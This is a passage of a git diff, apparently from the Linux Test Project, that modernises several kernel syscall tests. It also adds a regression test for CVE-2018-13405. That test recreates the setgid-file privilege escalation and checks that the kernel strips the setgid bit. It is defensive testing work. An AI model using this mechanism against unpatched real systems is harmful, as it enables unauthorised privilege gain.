-			tst_resm(TINFO, "got %u and %u", buf.st_gid,
-				 group2_gid);
-			local_flag = FAILED;
-		}
-
-		/*
-		 * Create a directory with group id different from that of
-		 * this process and with the setgid bit set.
-		 */
-		if (mkdir(DIR_B, MODE_RWX) == -1) {
-			tst_resm(TFAIL, "Creation of %s failed", DIR_B);
-			local_flag = FAILED;
-		}
-
-		if (chown(DIR_B, user1_uid, group2_gid) == -1) {
-			tst_resm(TFAIL, "Chown of %s failed", DIR_B);
-			local_flag = FAILED;
-		}
-
-		if (chmod(DIR_B, MODE_SGID) == -1) {
-			tst_resm(TFAIL, "Chmod of %s failed", DIR_B);
-			local_flag = FAILED;
-		}
-
-		if (stat(DIR_B, &buf) == -1) {
-			tst_resm(TFAIL, "Stat of %s failed", DIR_B);
-			local_flag = FAILED;
-		}
-
-		/* Verify modes */
-		if (!(buf.st_mode & S_ISGID)) {
-			tst_resm(TFAIL,
-				 "%s: Incorrect modes, setgid bit not set",
-				 DIR_B);
-			local_flag = FAILED;
-		}
-
-		/* Verify group ID */
-		if (buf.st_gid != group2_gid) {
-			tst_resm(TFAIL, "%s: Incorrect group", DIR_B);
-			tst_resm(TINFO, "got %u and %u", buf.st_gid,
-				 group2_gid);
-			local_flag = FAILED;
-		}
-
-		if (local_flag == PASSED) {
-			tst_resm(TPASS, "Test passed in block0.");
-		} else {
-			tst_resm(TFAIL, "Test failed in block0.");
-		}
-
-		local_flag = PASSED;
-
-/*--------------------------------------------------------------*/
-/* Block1: Create two files in testdir.A, one with the setgid   */
-/*         bit set in the creation modes and the other without. */
-/*	   Both should inherit the group ID of the process and  */
-/*	   maintain the setgid bit as specified in the creation */
-/*	   modes.                                               */
-/*--------------------------------------------------------------*/
-		/*
-		 * Now become user1, group1
-		 */
-		if (setgid(group1_gid) == -1) {
-			tst_resm(TINFO,
-				 "Unable to set process group ID to group1");
-		}
-
-		if (setreuid(-1, user1_uid) == -1) {
-			tst_resm(TINFO, "Unable to set process uid to user1");
-		}
-		mygid = getgid();
-
-		/*
-		 * Create the file with setgid not set
-		 */
-		fd = open(nosetgid_A, O_CREAT | O_EXCL | O_RDWR, MODE_RWX);
-		if (fd == -1) {
-			tst_resm(TFAIL, "Creation of %s failed", nosetgid_A);
-			local_flag = FAILED;
-		}
-
-		if (stat(nosetgid_A, &buf) == -1) {
-			tst_resm(TFAIL, "Stat of %s failed", nosetgid_A);
-			local_flag = FAILED;
-		}
-
-		/* Verify modes */
-		if (buf.st_mode & S_ISGID) {
-			tst_resm(TFAIL, "%s: Incorrect modes, setgid bit set",
-				 nosetgid_A);
-			local_flag = FAILED;
-		}
-
-		/* Verify group ID */
-		if (buf.st_gid != mygid) {
-			tst_resm(TFAIL, "%s: Incorrect group", nosetgid_A);
-			local_flag = FAILED;
-		}
-		close(fd);
-
-		/*
-		 * Create the file with setgid set
-		 */
-		fd = open(setgid_A, O_CREAT | O_EXCL | O_RDWR, MODE_SGID);
-		if (fd == -1) {
-			tst_resm(TFAIL, "Creation of %s failed", setgid_A);
-			local_flag = FAILED;
-		}
-
-		if (stat(setgid_A, &buf) == -1) {
-			tst_resm(TFAIL, "Stat of %s failed", setgid_A);
-			local_flag = FAILED;
-		}
-
-		/* Verify modes */
-		if (!(buf.st_mode & S_ISGID)) {
-			tst_resm(TFAIL,
-				 "%s: Incorrect modes, setgid bit not set",
-				 setgid_A);
-			local_flag = FAILED;
-		}
-
-		/* Verify group ID */
-		if (buf.st_gid != mygid) {
-			tst_resm(TFAIL, "%s: Incorrect group", setgid_A);
-			tst_resm(TINFO, "got %u and %u", buf.st_gid, mygid);
-			local_flag = FAILED;
-		}
-		close(fd);
-
-		if (local_flag == PASSED) {
-			tst_resm(TPASS, "Test passed in block1.");
-		} else {
-			tst_resm(TFAIL, "Test failed in block1.");
-		}
-
-		local_flag = PASSED;
-
-/*--------------------------------------------------------------*/
-/* Block2: Create two files in testdir.B, one with the setgid   */
-/*         bit set in the creation modes and the other without. */
-/*	   Both should inherit the group ID of the parent       */
-/*	   directory, group2.                                   */
-/*--------------------------------------------------------------*/
-		/*
-		 * Create the file with setgid not set
-		 */
-		fd = creat(nosetgid_B, MODE_RWX);
-		if (fd == -1) {
-			tst_resm(TFAIL, "Creation of %s failed", nosetgid_B);
-			local_flag = FAILED;
-		}
-
-		if (stat(nosetgid_B, &buf) == -1) {
-			tst_resm(TFAIL, "Stat of %s failed", nosetgid_B);
-			local_flag = FAILED;
-		}
-
-		/* Verify modes */
-		if (buf.st_mode & S_ISGID) {
-			tst_resm(TFAIL,
-				 "%s: Incorrect modes, setgid bit should not be set",
-				 nosetgid_B);
-			local_flag = FAILED;
-		}
-
-		/* Verify group ID */
-		if (buf.st_gid != group2_gid) {
-			tst_resm(TFAIL, "%s: Incorrect group", nosetgid_B);
-			local_flag = FAILED;
-		}
-		close(fd);
-
-		/*
-		 * Create the file with setgid set
-		 */
-		fd = creat(setgid_B, MODE_SGID);
-		if (fd == -1) {
-			tst_resm(TFAIL, "Creation of %s failed", setgid_B);
-			local_flag = FAILED;
-		}
-
-		if (stat(setgid_B, &buf) == -1) {
-			tst_resm(TFAIL, "Stat of %s failed", setgid_B);
-			local_flag = FAILED;
-		}
-
-		/* Verify group ID */
-		if (buf.st_gid != group2_gid) {
-			tst_resm(TFAIL, "%s: Incorrect group", setgid_B);
-			tst_resm(TFAIL, "got %u and %u", buf.st_gid,
-				 group2_gid);
-			local_flag = FAILED;
-		}
-
-		/*
-		 * Skip S_ISGID check
-		 * 0fa3ecd87848 ("Fix up non-directory creation in SGID directories")
-		 * clears S_ISGID for files created by non-group members
-		 */
-
-		close(fd);
-
-		if (local_flag == PASSED) {
-			tst_resm(TPASS, "Test passed in block2.");
-		} else {
-			tst_resm(TFAIL, "Test failed in block2.");
-		}
-
-		local_flag = PASSED;
-/*--------------------------------------------------------------*/
-/* Block3: Create a file in testdir.B, with the setgid bit set  */
-/*	   in the creation modes and do so as root. The file    */
-/*	   should inherit the group ID of the parent directory, */
-/*	   group2 and should have the setgid bit set.		*/
-/*--------------------------------------------------------------*/
-		/* Become root again */
-		if (setreuid(-1, save_myuid) == -1) {
-			tst_resm(TFAIL | TERRNO,
-				 "Changing back to root failed");
-			local_flag = FAILED;
-		}
-
-		/* Create the file with setgid set */
-		fd = creat(root_setgid_B, MODE_SGID);
-		if (fd == -1) {
-			tst_resm(TFAIL, "Creation of %s failed", root_setgid_B);
-			local_flag = FAILED;
-		}
-
-		if (stat(root_setgid_B, &buf) == -1) {
-			tst_resm(TFAIL, "Stat of %s failed", root_setgid_B);
-			local_flag = FAILED;
-		}
-
-		/* Verify modes */
-		if (!(buf.st_mode & S_ISGID)) {
-			tst_resm(TFAIL,
-				 "%s: Incorrect modes, setgid bit not set",
-				 root_setgid_B);
-			local_flag = FAILED;
-		}
-
-		/* Verify group ID */
-		if (buf.st_gid != group2_gid) {
-			tst_resm(TFAIL, "%s: Incorrect group", root_setgid_B);
-			tst_resm(TINFO, "got %u and %u", buf.st_gid,
-				 group2_gid);
-			local_flag = FAILED;
-		}
-		close(fd);
-
-		if (local_flag == PASSED) {
-			tst_resm(TPASS, "Test passed in block3");
-		} else {
-			tst_resm(TFAIL, "Test failed in block3");
-		}
-		tst_cleanup();
-	}
-	cleanup();
-	tst_exit();
-}
+static char *tmpdir;
+static uid_t orig_uid, nobody_uid;
+static gid_t nobody_gid, free_gid;
+static int fd = -1;
 
 static void setup(void)
 {
-	tst_require_root();
-	tst_tmpdir();
+	struct passwd *ltpuser = SAFE_GETPWNAM("nobody");
+
+	orig_uid = getuid();
+	nobody_uid = ltpuser->pw_uid;
+	nobody_gid = ltpuser->pw_gid;
+	tst_res(TINFO, "User nobody: uid = %d, gid = %d", (int)nobody_uid,
+		(int)nobody_gid);
+	free_gid = tst_get_free_gid(nobody_gid);
+	tmpdir = tst_get_tmpdir();
 }
 
-static void tst_cleanup(void)
+static void file_test(const char *name, mode_t mode, int sgid, gid_t gid)
 {
-	if (unlink(setgid_A) == -1) {
-		tst_resm(TBROK, "%s failed", setgid_A);
+	struct stat buf;
+
+	fd = SAFE_CREAT(name, mode);
+	SAFE_STAT(name, &buf);
+	SAFE_CLOSE(fd);
+
+	if (buf.st_gid != gid) {
+		tst_res(TFAIL, "%s: Incorrect group, %u != %u", name,
+			buf.st_gid, gid);
+	} else {
+		tst_res(TPASS, "%s: Owned by correct group", name);
 	}
-	if (unlink(nosetgid_A) == -1) {
-		tst_resm(TBROK, "unlink %s failed", nosetgid_A);
+
+	if (sgid < 0) {
+		tst_res(TINFO, "%s: Skipping setgid bit check", name);
+		return;
 	}
-	SAFE_RMDIR(NULL, DIR_A);
-	SAFE_UNLINK(NULL, setgid_B);
-	SAFE_UNLINK(NULL, root_setgid_B);
-	SAFE_UNLINK(NULL, nosetgid_B);
-	SAFE_RMDIR(NULL, DIR_B);
+
+	if (buf.st_mode & S_ISGID)
+		tst_res(sgid ? TPASS : TFAIL, "%s: Setgid bit is set", name);
+	else
+		tst_res(sgid ? TFAIL : TPASS, "%s: Setgid bit not set", name);
+}
+
+static void run(void)
+{
+	struct stat buf;
+
+	/* Create directories and set permissions */
+	SAFE_MKDIR(DIR_A, MODE_RWX);
+	SAFE_CHOWN(DIR_A, nobody_uid, free_gid);
+	SAFE_STAT(DIR_A, &buf);
+
+	if (buf.st_mode & S_ISGID)
+		tst_brk(TBROK, "%s: Setgid bit is set", DIR_A);
+
+	if (buf.st_gid != free_gid) {
+		tst_brk(TBROK, "%s: Incorrect group, %u != %u", DIR_A,
+			buf.st_gid, free_gid);
+	}
+
+	SAFE_MKDIR(DIR_B, MODE_RWX);
+	SAFE_CHOWN(DIR_B, nobody_uid, free_gid);
+	SAFE_CHMOD(DIR_B, MODE_SGID);
+	SAFE_STAT(DIR_B, &buf);
+
+	if (!(buf.st_mode & S_ISGID))
+		tst_brk(TBROK, "%s: Setgid bit not set", DIR_B);
+
+	if (buf.st_gid != free_gid) {
+		tst_brk(TBROK, "%s: Incorrect group, %u != %u", DIR_B,
+			buf.st_gid, free_gid);
+	}
+
+	/* Switch to user nobody and create two files in DIR_A */
+	/* Both files should inherit GID from the process */
+	SAFE_SETGID(nobody_gid);
+	SAFE_SETREUID(-1, nobody_uid);
+	file_test(NOSETGID_A, MODE_RWX, 0, nobody_gid);
+	file_test(SETGID_A, MODE_SGID, 1, nobody_gid);
+
+	/* Create two files in DIR_B and validate owner and permissions */
+	/* Both files should inherit GID from the parent directory */
+	file_test(NOSETGID_B, MODE_RWX, 0, free_gid);
+	/*
+	 * CVE 2018-13405 (privilege escalation using setgid bit) has its
+	 * own test, skip setgid check here
+	 */
+	file_test(SETGID_B, MODE_SGID, -1, free_gid);
+
+	/* Switch back to root UID and create a file in DIR_B */
+	/* The file should inherid GID from parent directory */
+	SAFE_SETREUID(-1, orig_uid);
+	file_test(ROOT_SETGID, MODE_SGID, 1, free_gid);
+
+	/* Cleanup between loops */
+	tst_purge_dir(tmpdir);
 }
 
 static void cleanup(void)
 {
-	tst_rmdir();
+	if (fd >= 0)
+		SAFE_CLOSE(fd);
+
+	free(tmpdir);
 }
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/creat/creat09.c b/testcases/kernel/syscalls/creat/creat09.c
new file mode 100644
index 0000000..6204089
--- /dev/null
+++ b/testcases/kernel/syscalls/creat/creat09.c
@@ -0,0 +1,163 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 SUSE LLC <mdoucha@suse.cz>
+ */
+/*\
+ * [Description]
+ *
+ * CVE-2018-13405
+ *
+ * Check for possible privilege escalation through creating files with setgid
+ * bit set inside a setgid directory owned by a group which the user does not
+ * belong to.
+ *
+ * Fixed in:
+ *
+ *  commit 0fa3ecd87848c9c93c2c828ef4c3a8ca36ce46c7
+ *  Author: Linus Torvalds <torvalds@linux-foundation.org>
+ *  Date:   Tue Jul 3 17:10:19 2018 -0700
+ *
+ *  Fix up non-directory creation in SGID directories
+ *
+ * This fix is incomplete if file is on xfs filesystem.
+ *
+ * Fixed in:
+ *
+ *  commit 01ea173e103edd5ec41acec65b9261b87e123fc2
+ *  Author: Christoph Hellwig <hch@lst.de>
+ *  Date:   Fri Jan 22 16:48:18 2021 -0800
+ *
+ *  xfs: fix up non-directory creation in SGID directories
+ *
+ * When use acl or umask, it still has bug.
+ *
+ * Fixed in:
+ *
+ *  commit 1639a49ccdce58ea248841ed9b23babcce6dbb0b
+ *  Author: Yang Xu <xuyang2018.jy@fujitsu.com>
+ *  Date:   Thu July 14 14:11:27 2022 +0800
+ *
+ *  fs: move S_ISGID stripping into the vfs_*() helpers
+ */
+
+#include <stdlib.h>
+#include <sys/types.h>
+#include <pwd.h>
+#include "tst_test.h"
+#include "tst_uid.h"
+
+#define MODE_RWX        0777
+#define MODE_SGID       (S_ISGID|0777)
+
+#define MNTPOINT	"mntpoint"
+#define WORKDIR		MNTPOINT "/testdir"
+#define CREAT_FILE	WORKDIR "/creat.tmp"
+#define OPEN_FILE	WORKDIR "/open.tmp"
+
+static gid_t free_gid;
+static int fd = -1;
+
+static struct tcase {
+	const char *msg;
+	int mask;
+} tcases[] = {
+	{"umask(0)", 0},
+	{"umask(S_IXGRP)", S_IXGRP}
+};
+
+static void setup(void)
+{
+	struct stat buf;
+	struct passwd *ltpuser = SAFE_GETPWNAM("nobody");
+
+	tst_res(TINFO, "User nobody: uid = %d, gid = %d", (int)ltpuser->pw_uid,
+		(int)ltpuser->pw_gid);
+	free_gid = tst_get_free_gid(ltpuser->pw_gid);
+
+	/* Create directories and set permissions */
+	SAFE_MKDIR(WORKDIR, MODE_RWX);
+	SAFE_CHOWN(WORKDIR, ltpuser->pw_uid, free_gid);
+	SAFE_CHMOD(WORKDIR, MODE_SGID);
+	SAFE_STAT(WORKDIR, &buf);
+
+	if (!(buf.st_mode & S_ISGID))
+		tst_brk(TBROK, "%s: Setgid bit not set", WORKDIR);
+
+	if (buf.st_gid != free_gid) {
+		tst_brk(TBROK, "%s: Incorrect group, %u != %u", WORKDIR,
+			buf.st_gid, free_gid);
+	}
+
+	/* Switch user */
+	SAFE_SETGID(ltpuser->pw_gid);
+	SAFE_SETREUID(-1, ltpuser->pw_uid);
+}
+
+static void file_test(const char *name)
+{
+	struct stat buf;
+
+	SAFE_STAT(name, &buf);
+
+	if (buf.st_gid != free_gid) {
+		tst_res(TFAIL, "%s: Incorrect group, %u != %u", name,
+			buf.st_gid, free_gid);
+	} else {
+		tst_res(TPASS, "%s: Owned by correct group", name);
+	}
+
+	if (buf.st_mode & S_ISGID)
+		tst_res(TFAIL, "%s: Setgid bit is set", name);
+	else
+		tst_res(TPASS, "%s: Setgid bit not set", name);
+}
+
+static void run(unsigned int n)
+{
+	struct tcase *tc = &tcases[n];
+
+	umask(tc->mask);
+	tst_res(TINFO, "File created with %s", tc->msg);
+
+	fd = SAFE_CREAT(CREAT_FILE, MODE_SGID);
+	SAFE_CLOSE(fd);
+	file_test(CREAT_FILE);
+
+	fd = SAFE_OPEN(OPEN_FILE, O_CREAT | O_EXCL | O_RDWR, MODE_SGID);
+	file_test(OPEN_FILE);
+	SAFE_CLOSE(fd);
+
+	/* Cleanup between loops */
+	tst_purge_dir(WORKDIR);
+}
+
+static void cleanup(void)
+{
+	if (fd >= 0)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.test = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.all_filesystems = 1,
+	.mount_device = 1,
+	.mntpoint = MNTPOINT,
+	.tcnt = ARRAY_SIZE(tcases),
+	.skip_filesystems = (const char*[]) {
+		"exfat",
+		"ntfs",
+		"vfat",
+		NULL
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "0fa3ecd87848"},
+		{"CVE", "2018-13405"},
+		{"linux-git", "01ea173e103e"},
+		{"linux-git", "1639a49ccdce"},
+		{"linux-git", "426b4ca2d6a5"},
+		{}
+	},
+};
diff --git a/testcases/kernel/syscalls/delete_module/delete_module01.c b/testcases/kernel/syscalls/delete_module/delete_module01.c
index 8fb559f..4765512 100644
--- a/testcases/kernel/syscalls/delete_module/delete_module01.c
+++ b/testcases/kernel/syscalls/delete_module/delete_module01.c
@@ -14,9 +14,9 @@
  */
 
 #include <errno.h>
-#include "lapi/syscalls.h"
 #include "tst_test.h"
 #include "tst_module.h"
+#include "lapi/syscalls.h"
 
 #define MODULE_NAME	"dummy_del_mod"
 #define MODULE_NAME_KO	"dummy_del_mod.ko"
@@ -49,6 +49,8 @@
 
 static struct tst_test test = {
 	.needs_root = 1,
+	/* lockdown requires signed modules */
+	.skip_in_lockdown = 1,
 	.cleanup = cleanup,
 	.test_all = do_delete_module,
 };
diff --git a/testcases/kernel/syscalls/delete_module/delete_module03.c b/testcases/kernel/syscalls/delete_module/delete_module03.c
index 7178e8e..863d361 100644
--- a/testcases/kernel/syscalls/delete_module/delete_module03.c
+++ b/testcases/kernel/syscalls/delete_module/delete_module03.c
@@ -72,6 +72,8 @@
 
 static struct tst_test test = {
 	.needs_root = 1,
+	/* lockdown requires signed modules */
+	.skip_in_lockdown = 1,
 	.setup = setup,
 	.cleanup = cleanup,
 	.test_all = do_delete_module,
diff --git a/testcases/kernel/syscalls/delete_module/dummy_del_mod.c b/testcases/kernel/syscalls/delete_module/dummy_del_mod.c
index 04a0b32..0ca7bea 100644
--- a/testcases/kernel/syscalls/delete_module/dummy_del_mod.c
+++ b/testcases/kernel/syscalls/delete_module/dummy_del_mod.c
@@ -14,8 +14,6 @@
 #include <linux/proc_fs.h>
 #include <linux/kernel.h>
 
-static int dummy_func_test(void);
-
 /* Dummy function called by dependent module */
 int dummy_func_test(void)
 {
diff --git a/testcases/kernel/syscalls/dup/dup04.c b/testcases/kernel/syscalls/dup/dup04.c
index 0b1827c..8d45f7a 100644
--- a/testcases/kernel/syscalls/dup/dup04.c
+++ b/testcases/kernel/syscalls/dup/dup04.c
@@ -1,198 +1,62 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
+ * 06/1994 AUTHOR: Richard Logan CO-PILOT: William Roske
  */
-/* $Id: dup04.c,v 1.6 2009/10/13 14:00:46 subrata_modak Exp $ */
-/**********************************************************
+
+/*\
+ * [DESCRIPTION]
  *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: dup04
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for dup(2) of a system pipe descriptor
- *
- *    PARENT DOCUMENT	: usctpl01
- *
- *    TEST CASE TOTAL	: 2
- *
- *    WALL CLOCK TIME	: 1
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: Richard Logan
- *
- *    CO-PILOT		: William Roske
- *
- *    DATE STARTED	: 06/94
- *
- *    INITIAL RELEASE	: UNICOS 7.0
- *
- *    TEST CASES
- *
- * 	1.) dup(2) returns...(See Description)
- *
- *    INPUT SPECIFICATIONS
- * 	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *    OUTPUT SPECIFICATIONS
- *$
- *    DURATION
- * 	Terminates - with frequency and infinite modes.
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    RESOURCES
- * 	None
- *
- *    ENVIRONMENTAL NEEDS
- *      No run-time environmental needs.
- *
- *    SPECIAL PROCEDURAL REQUIREMENTS
- * 	None
- *
- *    INTERCASE DEPENDENCIES
- * 	None
- *
- *    DETAILED DESCRIPTION
- *	This is a Phase I test for the dup(2) system call.  It is intended
- *	to provide a limited exposure of the system call, for now.  It
- *	should/will be extended when full functional tests are written for
- *	dup(2).
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
+ * Basic test for dup(2) of a system pipe descriptor.
+ */
 
 #ifndef _GNU_SOURCE
 #define _GNU_SOURCE
 #endif
-#include <sys/types.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <stdio.h>
-#include <string.h>
-#include <signal.h>
-#include "test.h"
-#include "safe_macros.h"
 
-void setup();
-void cleanup();
-
-char *TCID = "dup04";
-int TST_TOTAL = 2;
+#include "tst_test.h"
 
 int fd[2];
 
-int main(int ac, char **av)
+static void run(void)
 {
-	int lc;
+	TEST(dup(fd[0]));
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	if (TST_RET == -1)
+		tst_res(TFAIL | TTERRNO,
+			 "dup of read side of pipe failed");
+	else {
+		tst_res(TPASS,
+			 "dup(%d) read side of syspipe returned %ld",
+			 fd[0], TST_RET);
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		TEST(dup(fd[0]));
-
-		if (TEST_RETURN == -1)
-			tst_resm(TFAIL | TTERRNO,
-				 "dup of read side of pipe failed");
-		else {
-			tst_resm(TPASS,
-				 "dup(%d) read side of syspipe returned %ld",
-				 fd[0], TEST_RETURN);
-
-			SAFE_CLOSE(cleanup, TEST_RETURN);
-		}
-
-		TEST(dup(fd[1]));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL | TTERRNO,
-				 "dup of write side of pipe failed");
-		} else {
-			tst_resm(TPASS,
-				 "dup(%d) write side of syspipe returned %ld",
-				 fd[1], TEST_RETURN);
-
-
-			SAFE_CLOSE(cleanup, TEST_RETURN);
-		}
-
+		SAFE_CLOSE(TST_RET);
 	}
 
-	cleanup();
-	tst_exit();
+	TEST(dup(fd[1]));
+
+	if (TST_RET == -1) {
+		tst_res(TFAIL | TTERRNO,
+			 "dup of write side of pipe failed");
+	} else {
+		tst_res(TPASS,
+			 "dup(%d) write side of syspipe returned %ld",
+			 fd[1], TST_RET);
+
+		SAFE_CLOSE(TST_RET);
+	}
 }
 
 void setup(void)
 {
 	fd[0] = -1;
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	SAFE_PIPE(cleanup, fd);
+	SAFE_PIPE(fd);
 }
 
-void cleanup(void)
-{
-	int i;
-
-	for (i = 0; i <= 6; i++)
-		close(i);
-
-	tst_rmdir();
-}
+static struct tst_test test = {
+        .test_all = run,
+        .setup = setup,
+        .needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/dup/dup05.c b/testcases/kernel/syscalls/dup/dup05.c
index fc0e1f1..362f3e1 100644
--- a/testcases/kernel/syscalls/dup/dup05.c
+++ b/testcases/kernel/syscalls/dup/dup05.c
@@ -1,183 +1,55 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
+ * 06/1994 AUTHOR: Richard Logan CO-PILOT: William Roske
  */
-/* $Id: dup05.c,v 1.6 2009/10/13 14:00:46 subrata_modak Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: dup05
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for dup(2) of a named pipe descriptor
- *
- *    PARENT DOCUMENT	: usctpl01
- *
- *    TEST CASE TOTAL	: 1
- *
- *    WALL CLOCK TIME	: 1
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: Richard Logan
- *
- *    CO-PILOT		: William Roske
- *
- *    DATE STARTED	: 06/94
- *
- *    INITIAL RELEASE	: UNICOS 7.0
- *
- *    TEST CASES
- *
- * 	1.) dup(2) returns...(See Description)
- *
- *    INPUT SPECIFICATIONS
- * 	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *    OUTPUT SPECIFICATIONS
- *$
- *    DURATION
- * 	Terminates - with frequency and infinite modes.
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    RESOURCES
- * 	None
- *
- *    ENVIRONMENTAL NEEDS
- *      No run-time environmental needs.
- *
- *    SPECIAL PROCEDURAL REQUIREMENTS
- * 	None
- *
- *    INTERCASE DEPENDENCIES
- * 	None
- *
- *    DETAILED DESCRIPTION
- *	This is a Phase I test for the dup(2) system call.  It is intended
- *	to provide a limited exposure of the system call, for now.  It
- *	should/will be extended when full functional tests are written for
- *	dup(2).
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include "test.h"
-#include "safe_macros.h"
-
-void setup();
-void cleanup();
-
-char *TCID = "dup05";
-int TST_TOTAL = 1;
+/*\
+ * [DESCRIPTION]
+ *
+ * Basic test for dup(2) of a named pipe descriptor
+ */
+#include <stdio.h>
+#include "tst_test.h"
 
 char Fname[255];
 int fd;
 
-int main(int ac, char **av)
+static void run(void)
 {
-	int lc;
+	TEST(dup(fd));
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	if (TST_RET == -1) {
+		tst_res(TFAIL | TTERRNO, "dup failed");
+	} else {
+		tst_res(TPASS, "dup returned %ld",
+			 TST_RET);
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		TEST(dup(fd));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL | TTERRNO, "dup failed");
-		} else {
-			tst_resm(TPASS, "dup returned %ld",
-				 TEST_RETURN);
-
-			SAFE_CLOSE(cleanup, TEST_RETURN);
-		}
-
+		SAFE_CLOSE(TST_RET);
 	}
-
-	cleanup();
-	tst_exit();
 }
 
 void setup(void)
 {
 	fd = -1;
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
 	sprintf(Fname, "dupfile");
-	SAFE_MKFIFO(cleanup, Fname, 0777);
+	SAFE_MKFIFO(Fname, 0777);
 	if ((fd = open(Fname, O_RDWR, 0700)) == -1)
-		tst_brkm(TBROK, cleanup, "open failed");
+		tst_brk(TBROK, "open failed");
 }
 
 void cleanup(void)
 {
 	if (fd != -1)
 		if (close(fd) == -1)
-			tst_resm(TWARN | TERRNO, "close failed");
-
-	tst_rmdir();
-
+			tst_res(TWARN | TERRNO, "close failed");
 }
+
+static struct tst_test test = {
+        .test_all = run,
+        .setup = setup,
+        .cleanup = cleanup,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/dup2/.gitignore b/testcases/kernel/syscalls/dup2/.gitignore
index 6c4685b..f5938a1 100644
--- a/testcases/kernel/syscalls/dup2/.gitignore
+++ b/testcases/kernel/syscalls/dup2/.gitignore
@@ -3,3 +3,5 @@
 /dup203
 /dup204
 /dup205
+/dup206
+/dup207
